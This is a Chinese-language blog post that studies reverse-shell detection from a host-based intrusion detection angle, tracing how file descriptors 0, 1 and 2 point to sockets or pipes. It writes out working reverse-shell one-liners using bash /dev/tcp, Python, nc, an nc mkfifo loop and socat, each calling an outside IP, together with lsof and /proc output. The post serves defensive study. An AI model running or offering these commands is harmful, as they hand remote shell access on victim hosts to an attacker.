反弹shell特征研究

前言

从hids的角度出发,看反弹shell的特征。

最简单的,可以根据进程黑名单直接监测到一些反弹shell,如ncsocatbash -i >& /dev/tcp/xxx/xxx。这种检测也是很好绕过的,给可执行文件的名字换了即可。

所以这次学习一下通用的反弹shell检测方式——文件描述符重定向。

特征1. 所有文件描述符重定向至远程socket

bash -i

1
bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

创建了一个常住进程”bash -i”, 012文件描述符都被重定向至远程socket链接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pauser@ubuntu:~$ ps -ef| grep bash
pauser 11509 11502 0 08:35 pts/2 00:00:00 bash
pauser 11547 11509 0 08:36 pts/2 00:00:00 bash -i
pauser 11557 11502 0 08:36 pts/18 00:00:00 bash
pauser 11648 11557 0 08:39 pts/18 00:00:00 grep --color=auto bash
pauser@ubuntu:~$ ls -l /proc/11547/fd
total 0
lrwx------ 1 pauser pauser 64 Jun 17 08:36 0 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 1 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 2 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 255 -> /dev/tty
pauser@ubuntu:~$ lsof -p 11547
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 11547 pauser cwd DIR 8,1 4096 281418 /home/pauser
bash 11547 pauser rtd DIR 8,1 4096 2 /
bash 11547 pauser txt REG 8,1 1037528 393569 /bin/bash
...
bash 11547 pauser 0u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 1u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 2u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 255u CHR 5,0 0t0 13 /dev/tty

lsof: 查看进程打开的文件的工具

python/perl/ruby等脚本语言类反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('106.52.206.218',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

文件描述符也是都被重定向至远程socket连接.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pauser@ubuntu:~$ ls -l /proc/45638/fd
total 0
lrwx------ 1 pauser pauser 64 Jun 17 08:51 0 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 1 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 2 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 3 -> socket:[860316]
pauser@ubuntu:~$ lsof -p 45638
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python 45638 pauser cwd DIR 8,1 4096 281418 /home/pauser
python 45638 pauser rtd DIR 8,1 4096 2 /
python 45638 pauser txt REG 8,1 3492624 292 /usr/bin/python2.7
python 45638 pauser mem REG 8,1 2366112 263076
...
python 45638 pauser 0u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 1u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 2u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 3u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)

nc 反弹shell

1
/bin/nc.traditional -e /bin/bash 134.175.2.34 8888

进程中对应的是bash:

image

文件描述符:

image

特征2. 通过管道、重定向多次后连接至远程

nc重定向

1
/bin/nc.traditional 134.175.2.34 8888 | /bin/bash

根据bash进程定位到文件描述符,发现输入描述符0被重定向至管道:

image

定位管道另一端的进程nc,该进程文件描述符3连接远程socket连接:

image

还有一个nc反弹shell命令:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准
输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

定位到sh -i进程:

image

根据pipe找到nc进程,描述符3重定向至远程socket连接:

image

总结:

0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

特征3. socat

1
2
3
4
反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

定位文件描述符:

image

SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。

bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流,而是其他的流,然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。

其它(待研究)

  • MSF生成的python payload
  • DNS/ICMP 反弹shell

参考链接